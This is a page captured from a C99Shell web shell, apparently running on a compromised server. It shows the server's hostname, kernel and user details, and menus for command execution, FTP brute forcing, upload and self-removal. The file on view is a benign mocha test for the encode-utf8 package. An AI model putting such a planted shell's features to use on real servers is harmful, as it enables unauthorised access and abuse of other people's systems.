!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wa.picotech.app/public_html/node_modules/encode-utf8/   drwxr-xr-x
Free 28.52 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     test.js (1.82 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* eslint-env mocha */

'use strict'

const assert = require('assert')
const encodeUtf8 = require('./')

const testCases = [
  '゚・✿ヾ╲(。◕‿◕。)╱✿・゚',
  '𝌆',
  '🐵 🙈 🙉 🙊',
  '💩',
  'åß∂ƒ©˙∆˚¬…æ',
  'Hello, World!',
  'Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗',
  '𝕿𝖍𝖊 𝖖𝖚𝖎𝖈𝖐 𝖇𝖗𝖔𝖜𝖓 𝖋𝖔𝖝 𝖏𝖚𝖒𝖕𝖘 𝖔𝖛𝖊𝖗 𝖙𝖍𝖊 𝖑𝖆𝖟𝖞 𝖉𝖔𝖌',
  '사회과학원 어학연구소'
]

const badStrings = [
  {
    input: 'abc123',
    expected: [0x61, 0x62, 0x63, 0x31, 0x32, 0x33],
    name: 'Sanity check'
  },
  {
    input: '\uD800',
    expected: [0xef, 0xbf, 0xbd],
    name: 'Surrogate half (low)'
  },
  {
    input: '\uDC00',
    expected: [0xef, 0xbf, 0xbd],
    name: 'Surrogate half (high)'
  },
  {
    input: 'abc\uD800123',
    expected: [0x61, 0x62, 0x63, 0xef, 0xbf, 0xbd, 0x31, 0x32, 0x33],
    name: 'Surrogate half (low), in a string'
  },
  {
    input: 'abc\uDC00123',
    expected: [0x61, 0x62, 0x63, 0xef, 0xbf, 0xbd, 0x31, 0x32, 0x33],
    name: 'Surrogate half (high), in a string'
  },
  {
    input: '\uDC00\uD800',
    expected: [0xef, 0xbf, 0xbd, 0xef, 0xbf, 0xbd],
    name: 'Wrong order'
  }
]

describe('encode-utf8', () => {
  describe('test strings', () => {
    for (const input of testCases) {
      it(`should encode "${input}"`, () => {
        const actual = Buffer.from(encodeUtf8(input))
        const expected = Buffer.from(input, 'utf8')

        assert.ok(actual.equals(expected))
      })
    }
  })

  describe('web platform test', () => {
    for (const testCase of badStrings) {
      it(testCase.name, () => {
        const actual = Array.from(new Uint8Array(encodeUtf8(testCase.input)))

        assert.deepStrictEqual(actual, testCase.expected)
      })
    }
  })
})

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--